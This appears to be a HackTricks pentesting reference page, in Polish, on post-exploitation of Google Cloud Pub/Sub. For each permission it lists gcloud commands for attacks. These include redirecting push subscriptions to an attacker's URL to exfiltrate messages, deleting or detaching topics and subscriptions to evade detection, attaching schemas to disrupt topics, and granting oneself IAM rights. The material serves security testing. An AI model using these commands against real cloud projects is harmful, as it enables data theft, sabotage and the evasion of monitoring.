GCP - Pub/Sub Post Exploitation

Support HackTricks

Pub/Sub

Aby uzyskać więcej informacji na temat Pub/Sub, sprawdź następującą stronę:

GCP - Pub/Sub Enum

pubsub.topics.publish

Opublikuj wiadomość w temacie, przydatne do wysyłania nieoczekiwanych danych i wywoływania nieoczekiwanych funkcji lub wykorzystywania luk:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Przydatne do zapobiegania odbieraniu wiadomości przez subskrypcję, być może w celu uniknięcia wykrycia.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Przydatne do zapobiegania subskrypcji w odbieraniu wiadomości, być może w celu uniknięcia wykrycia. Możliwe jest usunięcie tematu, nawet jeśli są do niego przypisane subskrypcje.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Użyj tego uprawnienia, aby zaktualizować niektóre ustawienia tematu, aby go zakłócić, takie jak --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Nadaj sobie uprawnienia do przeprowadzenia dowolnych z poprzednich ataków.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Pobierz wszystkie wiadomości na serwerze internetowym:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Utwórz subskrypcję i użyj jej do pobierania wiadomości:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Usunięcie subskrypcji może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Użyj tego uprawnienia, aby zaktualizować niektóre ustawienia, aby wiadomości były przechowywane w miejscu, do którego masz dostęp (URL, tabela Big Query, Bucket) lub po prostu, aby to zakłócić.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Nadaj sobie uprawnienia potrzebne do przeprowadzenia wcześniej omówionych ataków.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Zaatakuj schemat do tematu, aby wiadomości go nie spełniały, a tym samym temat został zakłócony. Jeśli nie ma żadnych schematów, być może będziesz musiał stworzyć jeden.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

To może wyglądać jak usunięcie schematu, dzięki czemu będziesz mógł wysyłać wiadomości, które nie spełniają wymagań schematu. Jednakże, ponieważ schemat zostanie usunięty, żadna wiadomość tak naprawdę nie wejdzie do tematu. Tak więc to jest BEZUŻYTECZNE:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Nadaj sobie uprawnienia potrzebne do przeprowadzenia dowolnych wcześniej skomentowanych ataków.

pubsub.snapshots.create, pubsub.snapshots.seek

To stworzy migawkę wszystkich niepotwierdzonych wiadomości i przywróci je do subskrypcji. Niezbyt przydatne dla atakującego, ale oto to:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Wsparcie HackTricks

Last updated